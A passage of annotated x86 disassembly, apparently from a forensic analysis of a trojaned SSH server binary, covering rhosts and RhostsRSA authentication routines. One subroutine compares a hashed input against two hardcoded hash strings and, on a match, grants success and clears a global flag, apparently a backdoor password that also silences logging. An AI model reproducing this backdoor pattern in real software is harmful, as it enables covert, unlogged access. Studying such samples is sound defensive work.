0804bcc7  73 12                 jae     0804bcdb <Unknown0007+0x2cf>
0804bcc9  83 ec 08              sub     $0x8,%esp
0804bccc  ff 33                 pushl   (%ebx)
0804bcce  56                    push    %esi
0804bccf  e8 38 1b 01 00        call    0805d80c <Unknown0257>
0804bcd4  83 c4 10              add     $0x10,%esp
0804bcd7  85 c0                 test    %eax,%eax
0804bcd9  74 e1                 je      0804bcbc <Unknown0007+0x2b0>
0804bcdb  8b 8d 74 ff ff ff      mov     0xffffff74(%ebp),%ecx  ;-140 'x74 xff xff xff' "t"
0804bce1  85 c9                 test    %ecx,%ecx
0804bce3  74 08                 je      0804bced <Unknown0007+0x2e1>
0804bce5  3b 3d 08 f4 07 08      cmp     0x807f408,%edi  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804bceb  72 47                 jb      0804bd34 <Unknown0007+0x328>
0804bced  83 ec 10              sub     $0x10,%esp
0804bcf0  e8 37 4f 00 00        call    08050c2c <Unknown0055>
0804bcf5  83 c4 0c              add     $0xc,%esp
0804bcf8  50                    push    %eax
0804bcf9  56                    push    %esi
0804bcfa  68 e0 c3 06 08        push    $0x806c3e0  ;[in .rodata] 1852731203 'x43 x6f x6e x6e' "Connection
                                                    for %.200s not allowed from %.100s"
0804bcff  eb 29                 jmp     0804bd2a <Unknown0007+0x31e>
0804bd01  8d 76 00              lea     0x0(%esi),%esi
0804bd04  83 ec 10              sub     $0x10,%esp
0804bd07  e8 20 4f 00 00        call    08050c2c <Unknown0055>
0804bd0c  83 c4 0c              add     $0xc,%esp
0804bd0f  50                    push    %eax
0804bd10  ff 75 08              pushl   0x8(%ebp)
0804bd13  eb 10                 jmp     0804bd25 <Unknown0007+0x319>
0804bd15  8d 76 00              lea     0x0(%esi),%esi
0804bd18  83 ec 10              sub     $0x10,%esp
0804bd1b  e8 0c 4f 00 00        call    08050c2c <Unknown0055>
0804bd20  83 c4 0c              add     $0xc,%esp
0804bd23  50                    push    %eax
0804bd24  56                    push    %esi
```

```
0804bd25  68 20 c4 06 08          push    $0x806c420  ;[in .rodata] 1852731203 'x43 x6f x6e x6e' "Connection
                                                        for %.200s denied from %.100s"
0804bd2a  e8 ed 3e 00 00          call    0804fc1c <Unknown0036>
0804bd2f  31 c0                   xor     %eax,%eax
0804bd31  eb 43                   jmp     0804bd76 <Unknown0007+0x36a>
0804bd33  90                      nop
0804bd34  a1 0c f8 07 08          mov     0x807f80c,%eax  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804bd39  85 c0                   test    %eax,%eax
0804bd3b  74 34                   je      0804bd71 <Unknown0007+0x365>
0804bd3d  31 ff                   xor     %edi,%edi
0804bd3f  39 c7                   cmp     %eax,%edi
0804bd41  73 2e                   jae     0804bd71 <Unknown0007+0x365>
0804bd43  bb 10 f8 07 08          mov     $0x807f810,%ebx  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804bd48  8b 95 74 ff ff ff       mov     0xffffff74(%ebp),%edx  ;-140 'x74 xff xff xff' "t"
0804bd4e  85 d2                   test    %edx,%edx
0804bd50  74 17                   je      0804bd69 <Unknown0007+0x35d>
0804bd52  83 ec 08                sub     $0x8,%esp
0804bd55  ff 33                   pushl   (%ebx)
0804bd57  56                      push    %esi
0804bd58  e8 af 1a 01 00          call    0805d80c <Unknown0257>
0804bd5d  83 c4 10                add     $0x10,%esp
0804bd60  85 c0                   test    %eax,%eax
0804bd62  75 b4                   jne     0804bd18 <Unknown0007+0x30c>
0804bd64  a1 0c f8 07 08          mov     0x807f80c,%eax  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804bd69  47                      inc     %edi
0804bd6a  83 c3 04                add     $0x4,%ebx
0804bd6d  39 c7                   cmp     %eax,%edi
0804bd6f  72 d7                   jb      0804bd48 <Unknown0007+0x33c>
0804bd71  b8 01 00 00 00          mov     $0x1,%eax  ;1 'x1 x0 x0 x0' ""
0804bd76  8d 65 f4                lea     0xfffffff4(%ebp),%esp
0804bd79  5b                      pop     %ebx
0804bd7a  5e                      pop     %esi
0804bd7b  5f                      pop     %edi
0804bd7c  5d                      pop     %ebp
0804bd7d  c3                      ret
0804bd7e  89 f6                   mov     %esi,%esi


  ;
  ; >--------------------<  Subroutine #   8 >--------------------<
  ;
0804bd80 <Unknown0008>:
0804bd80  55                      push    %ebp
0804bd81  89 e5                   mov     %esp,%ebp
0804bd83  53                      push    %ebx
0804bd84  52                      push    %edx
0804bd85  e8 82 e5 ff ff          call    0804a30c <endpwent>
0804bd8a  e8 d5 9f 00 00          call    08055d64 <Unknown0129>
0804bd8f  89 c3                   mov     %eax,%ebx
0804bd91  e8 da 9f 00 00          call    08055d70 <Unknown0130>
0804bd96  39 c3                   cmp     %eax,%ebx
0804bd98  75 0a                   jne     0804bda4 <Unknown0008+0x24>
0804bd9a  83 ec 10                sub     $0x10,%esp
0804bd9d  e8 c2 9f 00 00          call    08055d64 <Unknown0129>
0804bda2  eb 15                   jmp     0804bdb9 <Unknown0008+0x39>
0804bda4  83 ec 10                sub     $0x10,%esp
0804bda7  e8 b8 9f 00 00          call    08055d64 <Unknown0129>
0804bdac  89 04 24                mov     %eax,(%esp,1)
0804bdaf  e8 28 df ff ff          call    08049cdc <close>
0804bdb4  e8 b7 9f 00 00          call    08055d70 <Unknown0130>
0804bdb9  89 04 24                mov     %eax,(%esp,1)
0804bdbc  e8 1b df ff ff          call    08049cdc <close>
0804bdc1  83 c4 10                add     $0x10,%esp
0804bdc4  e8 cf d4 00 00          call    08059298 <Unknown0201>
0804bdc9  6a 00                   push    $0x0
0804bdcb  6a 03                   push    $0x3
0804bdcd  6a 10                   push    $0x10
0804bdcf  68 80 c4 06 08          push    $0x806c480  ;[in .rodata] 858927408 'x30 x31 x32 x33'
                                                        "0123456789ABCDEF0123456789ABCDEF"
0804bdd4  e8 97 a1 00 00          call    08055f70 <Unknown0137>
0804bdd9  8b 5d fc                mov     0xfffffffc(%ebp),%ebx
0804bddc  c9                      leave
0804bddd  c3                      ret
0804bdde  89 f6                   mov     %esi,%esi


  ;
  ; >--------------------<  Subroutine #   9 >--------------------<
  ;
0804bde0 <Unknown0009>:
0804bde0  55                      push    %ebp
0804bde1  89 e5                   mov     %esp,%ebp
0804bde3  83 ec 14                sub     $0x14,%esp
0804bde6  6a 0f                   push    $0xf
```

```
0804bde8  e8 27 a2 00 00        call    08056014 <Unknown0138>
0804bded  e8 ca a2 00 00        call    080560bc <Unknown0144>
0804bdf2  e8 05 ab 00 00        call    080568fc <Unknown0159>
0804bdf7  83 c4 10              add     $0x10,%esp
0804bdfa  e8 e9 a4 00 00        call    080562e8 <Unknown0145>
0804bdff  e8 44 a9 00 00        call    08056748 <Unknown0154>
0804be04  83 ec 0c              sub     $0xc,%esp
0804be07  eb dd                 jmp     0804bde6 <Unknown0009+0x6>
0804be09  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine #  10 >--------------------<
  ;
0804be0c <Unknown0010>:
0804be0c  55                    push    %ebp
0804be0d  89 e5                 mov     %esp,%ebp
0804be0f  57                    push    %edi
0804be10  56                    push    %esi
0804be11  53                    push    %ebx
0804be12  81 ec f8 00 00 00     sub     $0xf8,%esp  ;248 'xf8 x0 x0 x0' ""
0804be18  fc                    cld
0804be19  8d 7d b8              lea     0xffffffb8(%ebp),%edi
0804be1c  be c0 c4 06 08        mov     $0x806c4c0,%esi  ;[in .rodata] 926102628 'x64 x34 x33 x37'
                                                                       "d4377659532b8cd242de551fbbb45adc"
0804be21  b9 08 00 00 00        mov     $0x8,%ecx  ;8 'x8 x0 x0 x0' ""
0804be26  f3 a5                 repz movsl %ds:(%esi),%es:(%edi)
0804be28  a4                    movsb   %ds:(%esi),%es:(%edi)
0804be29  b9 08 00 00 00        mov     $0x8,%ecx  ;8 'x8 x0 x0 x0' ""
0804be2e  8d 7d 88              lea     0xffffff88(%ebp),%edi
0804be31  be 00 c5 06 08        mov     $0x806c500,%esi  ;[in .rodata] 845571637 'x35 x66 x66 x32'
                                                                       "5ff282cefe8fde3cc3ed6a9c42a7234d"
0804be36  f3 a5                 repz movsl %ds:(%esi),%es:(%edi)
0804be38  a4                    movsb   %ds:(%esi),%es:(%edi)
0804be39  8d 9d 28 ff ff ff     lea     0xffffff28(%ebp),%ebx  ;-216 'x28 xff xff xff' "("
0804be3f  53                    push    %ebx
0804be40  e8 33 92 00 00        call    08055078 <Unknown0110>
0804be45  8b 7d 08              mov     0x8(%ebp),%edi
0804be48  fc                    cld
0804be49  31 c0                 xor     %eax,%eax
0804be4b  b9 ff ff ff ff        mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0804be50  f2 ae                 repnz scas %es:(%edi),%al
0804be52  f7 d1                 not     %ecx
0804be54  83 c4 0c              add     $0xc,%esp
0804be57  49                    dec     %ecx
0804be58  51                    push    %ecx
0804be59  ff 75 08              pushl   0x8(%ebp)
0804be5c  53                    push    %ebx
0804be5d  e8 4a 92 00 00        call    080550ac <Unknown0111>
0804be62  5f                    pop     %edi
0804be63  58                    pop     %eax
0804be64  53                    push    %ebx
0804be65  8d 9d 08 ff ff ff     lea     0xffffff08(%ebp),%ebx  ;-248 'x8 xff xff xff' ""
0804be6b  53                    push    %ebx
0804be6c  e8 07 93 00 00        call    08055178 <Unknown0112>
0804be71  83 c4 10              add     $0x10,%esp
0804be74  ba 0f 00 00 00        mov     $0xf,%edx  ;15 'xf x0 x0 x0' ""
0804be79  b9 1e 00 00 00        mov     $0x1e,%ecx  ;30 'x1e x0 x0 x0' ""
0804be7e  89 f6                 mov     %esi,%esi
0804be80  8a 04 1a              mov     (%edx,%ebx,1),%al
0804be83  83 e0 0f              and     $0xf,%eax
0804be86  83 c0 30              add     $0x30,%eax
0804be89  88 84 0d 09 ff ff ff  mov     %al,0xffffff09(%ebp,%ecx,1)  ;-247 'x9 xff xff xff' ""
0804be90  8a 04 1a              mov     (%edx,%ebx,1),%al
0804be93  c0 e8 04              shr     $0x4,%al
0804be96  83 c0 30              add     $0x30,%eax
0804be99  88 84 0d 08 ff ff ff  mov     %al,0xffffff08(%ebp,%ecx,1)  ;-248 'x8 xff xff xff' ""
0804bea0  83 e9 02              sub     $0x2,%ecx
0804bea3  4a                    dec     %edx
0804bea4  79 da                 jns     0804be80 <Unknown0010+0x74>
0804bea6  31 d2                 xor     %edx,%edx
0804bea8  8d 8d 08 ff ff ff     lea     0xffffff08(%ebp),%ecx  ;-248 'x8 xff xff xff' ""
0804beae  89 f6                 mov     %esi,%esi
0804beb0  8a 04 0a              mov     (%edx,%ecx,1),%al
0804beb3  3c 39                 cmp     $0x39,%al
0804beb5  76 06                 jbe     0804bebd <Unknown0010+0xb1>
0804beb7  83 c0 27              add     $0x27,%eax
0804beba  88 04 0a              mov     %al,(%edx,%ecx,1)
0804bebd  42                    inc     %edx
0804bebe  83 fa 1f              cmp     $0x1f,%edx
0804bec1  7e ed                 jle     0804beb0 <Unknown0010+0xa4>
0804bec3  56                    push    %esi
0804bec4  6a 20                 push    $0x20
0804bec6  8d 9d 08 ff ff ff     lea     0xffffff08(%ebp),%ebx  ;-248 'x8 xff xff xff' ""
```

```
0804becc  53                          push    %ebx
0804becd  8d 45 b8                    lea     0xffffffb8(%ebp),%eax
0804bed0  50                          push    %eax
0804bed1  e8 46 e2 ff ff              call    0804a11c <strncmp>
0804bed6  83 c4 10                    add     $0x10,%esp
0804bed9  85 c0                       test    %eax,%eax
0804bedb  74 1b                       je      0804bef8 <Unknown0010+0xec>
0804bedd  51                          push    %ecx
0804bede  6a 20                       push    $0x20
0804bee0  53                          push    %ebx
0804bee1  8d 45 88                    lea     0xffffff88(%ebp),%eax
0804bee4  50                          push    %eax
0804bee5  e8 32 e2 ff ff              call    0804a11c <strncmp>
0804beea  83 c4 10                    add     $0x10,%esp
0804beed  85 c0                       test    %eax,%eax
0804beef  74 07                       je      0804bef8 <Unknown0010+0xec>
0804bef1  31 c0                       xor     %eax,%eax
0804bef3  eb 12                       jmp     0804bf07 <Unknown0010+0xfb>
0804bef5  8d 76 00                    lea     0x0(%esi),%esi
0804bef8  c7 05 24 01 08 08 00 00 00  movl    $0x0,0x8080124   ;0 'x0 x0 x0 x0' ""
0804bf02  b8 01 00 00 00              mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0804bf07  8d 65 f4                    lea     0xfffffff4(%ebp),%esp
0804bf0a  5b                          pop     %ebx
0804bf0b  5e                          pop     %esi
0804bf0c  5f                          pop     %edi
0804bf0d  5d                          pop     %ebp
0804bf0e  c3                          ret
0804bf0f  90                          nop


  ;
  ; >--------------------<  Subroutine #  11 >--------------------<
  ;
0804bf10 <Unknown0011>:
0804bf10  55                          push    %ebp
0804bf11  89 e5                       mov     %esp,%ebp
0804bf13  57                          push    %edi
0804bf14  56                          push    %esi
0804bf15  53                          push    %ebx
0804bf16  83 ec 7c                    sub     $0x7c,%esp
0804bf19  31 c0                       xor     %eax,%eax
0804bf1b  c7 45 94 00 00 00 00        movl    $0x0,0xffffff94(%ebp)   ;0 'x0 x0 x0 x0' ""
0804bf22  c7 45 90 00 00 00 00        movl    $0x0,0xffffff90(%ebp)   ;0 'x0 x0 x0 x0' ""
0804bf29  c7 45 8c 00 00 00 00        movl    $0x0,0xffffff8c(%ebp)   ;0 'x0 x0 x0 x0' ""
0804bf30  8b 7d 08                    mov     0x8(%ebp),%edi
0804bf33  fc                          cld
0804bf34  b9 ff ff ff ff              mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804bf39  f2 ae                       repnz scas %es:(%edi),%al
0804bf3b  f7 d1                       not     %ecx
0804bf3d  49                          dec     %ecx
0804bf3e  81 f9 ff 00 00 00           cmp     $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0804bf44  76 05                       jbe     0804bf4b <Unknown0011+0x3b>
0804bf46  e8 95 fe ff ff              call    0804bde0 <Unknown0009>
0804bf4b  83 ec 0c                    sub     $0xc,%esp
0804bf4e  ff 75 08                    pushl   0x8(%ebp)
0804bf51  e8 e6 e3 ff ff              call    0804a33c <getpwnam>
0804bf56  89 c3                       mov     %eax,%ebx
0804bf58  83 c4 10                    add     $0x10,%esp
0804bf5b  85 db                       test    %ebx,%ebx
0804bf5d  74 22                       je      0804bf81 <Unknown0011+0x71>
0804bf5f  8b 55 08                    mov     0x8(%ebp),%edx
0804bf62  8a 02                       mov     (%edx),%al
0804bf64  3c 2d                       cmp     $0x2d,%al
0804bf66  74 19                       je      0804bf81 <Unknown0011+0x71>
0804bf68  3c 2b                       cmp     $0x2b,%al
0804bf6a  74 15                       je      0804bf81 <Unknown0011+0x71>
0804bf6c  3c 40                       cmp     $0x40,%al
0804bf6e  74 11                       je      0804bf81 <Unknown0011+0x71>
0804bf70  83 ec 08                    sub     $0x8,%esp
0804bf73  53                          push    %ebx
0804bf74  52                          push    %edx
0804bf75  e8 92 fa ff ff              call    0804ba0c <Unknown0007>
0804bf7a  83 c4 10                    add     $0x10,%esp
0804bf7d  85 c0                       test    %eax,%eax
0804bf7f  75 05                       jne     0804bf86 <Unknown0011+0x76>
0804bf81  e8 5a fe ff ff              call    0804bde0 <Unknown0009>
0804bf86  8d 45 c8                    lea     0xffffffc8(%ebp),%eax
0804bf89  89 45 88                    mov     %eax,0xffffff88(%ebp)
0804bf8c  fc                          cld
0804bf8d  31 c0                       xor     %eax,%eax
0804bf8f  8b 7d 88                    mov     0xffffff88(%ebp),%edi
0804bf92  b9 07 00 00 00              mov     $0x7,%ecx   ;7 'x7 x0 x0 x0' ""
0804bf97  f3 ab                       repz stos %eax,%es:(%edi)
0804bf99  83 ec 0c                    sub     $0xc,%esp
```

```
0804bf9c  ff 33                 pushl   (%ebx)
0804bf9e  e8 95 af 00 00        call    08056f38 <Unknown0173>
0804bfa3  89 45 c8              mov     %eax,0xffffffc8(%ebp)
0804bfa6  58                    pop     %eax
0804bfa7  ff 73 04              pushl   0x4(%ebx)
0804bfaa  e8 89 af 00 00        call    08056f38 <Unknown0173>
0804bfaf  89 45 cc              mov     %eax,0xffffffcc(%ebp)
0804bfb2  8b 43 08              mov     0x8(%ebx),%eax
0804bfb5  89 45 d0              mov     %eax,0xffffffd0(%ebp)
0804bfb8  8b 43 0c              mov     0xc(%ebx),%eax
0804bfbb  5f                    pop     %edi
0804bfbc  ff 73 14              pushl   0x14(%ebx)
0804bfbf  89 45 d4              mov     %eax,0xffffffd4(%ebp)
0804bfc2  e8 71 af 00 00        call    08056f38 <Unknown0173>
0804bfc7  5e                    pop     %esi
0804bfc8  89 45 dc              mov     %eax,0xffffffdc(%ebp)
0804bfcb  ff 73 18              pushl   0x18(%ebx)
0804bfce  e8 65 af 00 00        call    08056f38 <Unknown0173>
0804bfd3  c7 04 24 00 00 00 00  movl    $0x0,(%esp,1)   ;0 'x0 x0 x0 x0' ""
0804bfda  68 80 bd 04 08        push    $0x804bd80   ;0 'x0 x0 x0 x0' ""
0804bfdf  ff 75 d4              pushl   0xffffffd4(%ebp)
0804bfe2  ff 75 d0              pushl   0xffffffd0(%ebp)
0804bfe5  89 45 e0              mov     %eax,0xffffffe0(%ebp)
0804bfe8  ff 75 c8              pushl   0xffffffc8(%ebp)
0804bfeb  e8 e8 26 01 00        call    0805e6d8 <Unknown0274>
0804bff0  83 c4 20              add     $0x20,%esp
0804bff3  e8 14 e2 ff ff        call    0804a20c <getuid>
0804bff8  85 c0                 test    %eax,%eax
0804bffa  74 1a                 je      0804c016 <Unknown0011+0x106>
0804bffc  e8 0b e2 ff ff        call    0804a20c <getuid>
0804c001  39 45 d0              cmp     %eax,0xffffffd0(%ebp)
0804c004  74 10                 je      0804c016 <Unknown0011+0x106>
0804c006  83 ec 0c              sub     $0xc,%esp
0804c009  68 40 c5 06 08        push    $0x806c540   ;[in .rodata] 1852727619 'x43 x61 x6e x6e' "Cannot
                                                      change user when server not running as root."
0804c00e  e8 cd a7 00 00        call    080567e0 <Unknown0157>
0804c013  83 c4 10              add     $0x10,%esp
0804c016  83 ec 08              sub     $0x8,%esp
0804c019  ff 75 08              pushl   0x8(%ebp)
0804c01c  68 80 c5 06 08        push    $0x806c580   ;[in .rodata] 1702130753 'x41 x74 x74 x65' "Attempting
                                                      authentication for %.100s."
0804c021  e8 5a 3d 00 00        call    0804fd80 <Unknown0039>
0804c026  8b 0d d0 db 07 08     mov     0x807dbd0,%ecx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c02c  83 c4 10              add     $0x10,%esp
0804c02f  85 c9                 test    %ecx,%ecx
0804c031  74 3d                 je      0804c070 <Unknown0011+0x160>
0804c033  83 ec 08              sub     $0x8,%esp
0804c036  68 bc ba 06 08        push    $0x806babc   ;[in .rodata] 0 'x0 x0 x0 x0' ""
0804c03b  ff 75 08              pushl   0x8(%ebp)
0804c03e  e8 c9 28 00 00        call    0804e90c <Unknown0025>
0804c043  83 c4 10              add     $0x10,%esp
0804c046  85 c0                 test    %eax,%eax
0804c048  74 26                 je      0804c070 <Unknown0011+0x160>
0804c04a  83 ec 08              sub     $0x8,%esp
0804c04d  ff 75 08              pushl   0x8(%ebp)
0804c050  68 c0 c5 06 08        push    $0x806c5c0   ;[in .rodata] 1768386380 'x4c x6f x67 x69' "Login for
                                                      user %.100s accepted without authentication."
0804c055  e8 26 3d 00 00        call    0804fd80 <Unknown0039>
0804c05a  83 c4 10              add     $0x10,%esp
0804c05d  c7 45 90 03 00 00 00  movl    $0x3,0xffffff90(%ebp)   ;3 'x3 x0 x0 x0' ""
0804c064  c7 45 94 01 00 00 00  movl    $0x1,0xffffff94(%ebp)   ;1 'x1 x0 x0 x0' ""
0804c06b  eb 1a                 jmp     0804c087 <Unknown0011+0x177>
0804c06d  8d 76 00              lea     0x0(%esi),%esi
0804c070  83 ec 0c              sub     $0xc,%esp
0804c073  6a 0f                 push    $0xf
0804c075  e8 9a 9f 00 00        call    08056014 <Unknown0138>
0804c07a  e8 3d a0 00 00        call    080560bc <Unknown0144>
0804c07f  e8 78 a8 00 00        call    080568fc <Unknown0159>
0804c084  83 c4 10              add     $0x10,%esp
0804c087  8b 55 94              mov     0xffffff94(%ebp),%edx
0804c08a  85 d2                 test    %edx,%edx
0804c08c  0f 85 62 04 00 00     jne     0804c4f4 <Unknown0011+0x5e4>   ;1122 'x62 x4 x0 x0' "b"
0804c092  89 f6                 mov     %esi,%esi
0804c094  e8 4f a2 00 00        call    080562e8 <Unknown0145>
0804c099  89 c3                 mov     %eax,%ebx
0804c09b  83 fb 06              cmp     $0x6,%ebx
0804c09e  c7 05 24 01 08 08 01 00 00 00  movl  $0x1,0x8080124   ;1 'x1 x0 x0 x0' ""
0804c0a8  0f 84 1e 02 00 00     je      0804c2cc <Unknown0011+0x3bc>   ;542 'x1e x2 x0 x0' ""
0804c0ae  83 fb 06              cmp     $0x6,%ebx
0804c0b1  7f 0d                 jg      0804c0c0 <Unknown0011+0x1b0>
0804c0b3  83 fb 05              cmp     $0x5,%ebx
0804c0b6  74 20                 je      0804c0d8 <Unknown0011+0x1c8>
0804c0b8  e9 fb 03 00 00        jmp     0804c4b8 <Unknown0011+0x5a8>   ;1019 'xfb x3 x0 x0' ""
0804c0bd  8d 76 00              lea     0x0(%esi),%esi
```

```
0804c0c0   83 fb 09                  cmp     $0x9,%ebx
0804c0c3   0f 84 9f 02 00 00         je      0804c368 <Unknown0011+0x458>  ;671 'x9f x2 x0 x0' ""
0804c0c9   83 fb 23                  cmp     $0x23,%ebx
0804c0cc   0f 84 c2 00 00 00         je      0804c194 <Unknown0011+0x284>  ;194 'xc2 x0 x0 x0' ""
0804c0d2   e9 e1 03 00 00            jmp     0804c4b8 <Unknown0011+0x5a8>  ;993 'xe1 x3 x0 x0' ""
0804c0d7   90                        nop
0804c0d8   a1 b0 db 07 08            mov     0x807dbb0,%eax  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c0dd   85 c0                     test    %eax,%eax
0804c0df   75 13                     jne     0804c0f4 <Unknown0011+0x1e4>
0804c0e1   e8 62 a6 00 00            call    08056748 <Unknown0154>
0804c0e6   83 ec 0c                  sub     $0xc,%esp
0804c0e9   68 00 c6 06 08            push    $0x806c600  ;[in .rodata] 1936681042 'x52 x68 x6f x73' "Rhosts
                                                           authentication disabled."
0804c0ee   e9 d3 03 00 00            jmp     0804c4c6 <Unknown0011+0x5b6>  ;979 'xd3 x3 x0 x0' ""
0804c0f3   90                        nop
0804c0f4   8b 7d 0c                  mov     0xc(%ebp),%edi
0804c0f7   85 ff                     test    %edi,%edi
0804c0f9   75 15                     jne     0804c110 <Unknown0011+0x200>
0804c0fb   e8 48 a6 00 00            call    08056748 <Unknown0154>
0804c100   83 ec 0c                  sub     $0xc,%esp
0804c103   68 20 c6 06 08            push    $0x806c620  ;[in .rodata] 1936681042 'x52 x68 x6f x73' "Rhosts
                                                           authentication not available for connections from
                                                           unprivileged port."
0804c108   e9 b9 03 00 00            jmp     0804c4c6 <Unknown0011+0x5b6>  ;953 'xb9 x3 x0 x0' ""
0804c10d   8d 76 00                  lea     0x0(%esi),%esi
0804c110   83 ec 0c                  sub     $0xc,%esp
0804c113   6a 00                     push    $0x0
0804c115   e8 16 a6 00 00            call    08056730 <Unknown0153>
0804c11a   5e                        pop     %esi
0804c11b   ff 35 a0 db 07 08         pushl   0x807dba0  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c121   ff 35 88 db 07 08         pushl   0x807db88  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c127   ff 35 84 db 07 08         pushl   0x807db84  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c12d   89 c7                     mov     %eax,%edi
0804c12f   57                        push    %edi
0804c130   ff 75 88                  pushl   0xffffff88(%ebp)
0804c133   e8 8c 24 00 00            call    0804e5c4 <Unknown0024>
0804c138   83 c4 20                  add     $0x20,%esp
0804c13b   85 c0                     test    %eax,%eax
0804c13d   74 31                     je      0804c170 <Unknown0011+0x260>
0804c13f   e8 e8 4a 00 00            call    08050c2c <Unknown0055>
0804c144   50                        push    %eax
0804c145   57                        push    %edi
0804c146   ff 75 08                  pushl   0x8(%ebp)
0804c149   68 80 c6 06 08            push    $0x806c680  ;[in .rodata] 1936681042 'x52 x68 x6f x73' "Rhosts
                                                           authentication accepted for %.100s, remote %.100s on
                                                           %.700s."
0804c14e   e8 c9 3a 00 00            call    0804fc1c <Unknown0036>
0804c153   83 c4 10                  add     $0x10,%esp
0804c156   c7 45 90 01 00 00 00      movl    $0x1,0xffffff90(%ebp)  ;1 'x1 x0 x0 x0' ""
0804c15d   c7 45 94 01 00 00 00      movl    $0x1,0xffffff94(%ebp)  ;1 'x1 x0 x0 x0' ""
0804c164   89 3d 1c fc 07 08         mov     %edi,0x807fc1c  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c16a   e9 5f 03 00 00            jmp     0804c4ce <Unknown0011+0x5be>  ;863 'x5f x3 x0 x0' "_"
0804c16f   90                        nop
0804c170   e8 b7 4a 00 00            call    08050c2c <Unknown0055>
0804c175   50                        push    %eax
0804c176   57                        push    %edi
0804c177   ff 75 08                  pushl   0x8(%ebp)
0804c17a   68 e0 c6 06 08            push    $0x806c6e0  ;[in .rodata] 1936681042 'x52 x68 x6f x73' "Rhosts
                                                           authentication failed for '%.100s', remote '%.100s',
                                                           host '%.200s'."
0804c17f   e8 98 3a 00 00            call    0804fc1c <Unknown0036>
0804c184   89 3c 24                  mov     %edi,(%esp,1)
0804c187   e8 84 ad 00 00            call    08056f10 <Unknown0172>
0804c18c   e9 3a 03 00 00            jmp     0804c4cb <Unknown0011+0x5bb>  ;826 'x3a x3 x0 x0' ":"
0804c191   8d 76 00                  lea     0x0(%esi),%esi
0804c194   8b 1d b4 db 07 08         mov     0x807dbb4,%ebx  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c19a   85 db                     test    %ebx,%ebx
0804c19c   75 12                     jne     0804c1b0 <Unknown0011+0x2a0>
0804c19e   e8 a5 a5 00 00            call    08056748 <Unknown0154>
0804c1a3   83 ec 0c                  sub     $0xc,%esp
0804c1a6   68 40 c7 06 08            push    $0x806c740  ;[in .rodata] 1936681042 'x52 x68 x6f x73' "Rhosts with
                                                           RSA authentication disabled."
0804c1ab   e9 16 03 00 00            jmp     0804c4c6 <Unknown0011+0x5b6>  ;790 'x16 x3 x0 x0' ""
0804c1b0   8b 4d 0c                  mov     0xc(%ebp),%ecx
0804c1b3   85 c9                     test    %ecx,%ecx
0804c1b5   75 15                     jne     0804c1cc <Unknown0011+0x2bc>
0804c1b7   e8 8c a5 00 00            call    08056748 <Unknown0154>
0804c1bc   83 ec 0c                  sub     $0xc,%esp
0804c1bf   68 80 c7 06 08            push    $0x806c780  ;[in .rodata] 1936681042 'x52 x68 x6f x73' "RhostsRsa
                                                           authentication not available for connections from
                                                           unprivileged port."
0804c1c4   e9 fd 02 00 00            jmp     0804c4c6 <Unknown0011+0x5b6>  ;765 'xfd x2 x0 x0' ""
0804c1c9   8d 76 00                  lea     0x0(%esi),%esi
```

```
0804c1cc  8b 55 10           mov    0x10(%ebp),%edx
0804c1cf  85 d2              test   %edx,%edx
0804c1d1  75 15              jne    0804c1e8 <Unknown0011+0x2d8>
0804c1d3  e8 70 a5 00 00     call   08056748 <Unknown0154>
0804c1d8  83 ec 0c           sub    $0xc,%esp
0804c1db  68 e0 c7 06 08     push   $0x806c7e0  ;[in .rodata] 1936681042 'x52 x68 x6f x73' "RhostsRsa
                                                authentication not available for unencrypted session."
0804c1e0  e9 e1 02 00 00     jmp    0804c4c6 <Unknown0011+0x5b6>  ;737 'xe1 x2 x0 x0' ""
0804c1e5  8d 76 00           lea    0x0(%esi),%esi
0804c1e8  83 7d 10 05        cmpl   $0x5,0x10(%ebp)
0804c1ec  75 12              jne    0804c200 <Unknown0011+0x2f0>
0804c1ee  e8 55 a5 00 00     call   08056748 <Unknown0154>
0804c1f3  83 ec 0c           sub    $0xc,%esp
0804c1f6  68 20 c8 06 08     push   $0x806c820  ;[in .rodata] 1936681042 'x52 x68 x6f x73' "RhostsRsa
                                                authentication not available for session encrypted with
                                                arcfour."
0804c1fb  e9 c6 02 00 00     jmp    0804c4c6 <Unknown0011+0x5b6>  ;710 'xc6 x2 x0 x0' ""
0804c200  83 ec 0c           sub    $0xc,%esp
0804c203  6a 00              push   $0x0
0804c205  8d 75 b8           lea    0xffffffb8(%ebp),%esi
0804c208  e8 23 a5 00 00     call   08056730 <Unknown0153>
0804c20d  89 34 24           mov    %esi,(%esp,1)
0804c210  89 c7              mov    %eax,%edi
0804c212  e8 b1 4f 01 00     call   080611c8 <Unknown0319>
0804c217  8d 55 a8           lea    0xffffffa8(%ebp),%edx
0804c21a  89 14 24           mov    %edx,(%esp,1)
0804c21d  89 55 84           mov    %edx,0xffffff84(%ebp)
0804c220  e8 a3 4f 01 00     call   080611c8 <Unknown0319>
0804c225  e8 da a4 00 00     call   08056704 <Unknown0151>
0804c22a  89 c3              mov    %eax,%ebx
0804c22c  89 34 24           mov    %esi,(%esp,1)
0804c22f  e8 e4 a4 00 00     call   08056718 <Unknown0152>
0804c234  58                 pop    %eax
0804c235  ff 75 84           pushl  0xffffff84(%ebp)
0804c238  e8 db a4 00 00     call   08056718 <Unknown0152>
0804c23d  59                 pop    %ecx
0804c23e  ff 35 a0 db 07 08  pushl  0x807dba0  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c244  ff 35 88 db 07 08  pushl  0x807db88  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c24a  ff 35 84 db 07 08  pushl  0x807db84  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c250  ff 75 84           pushl  0xffffff84(%ebp)
0804c253  56                 push   %esi
0804c254  53                 push   %ebx
0804c255  57                 push   %edi
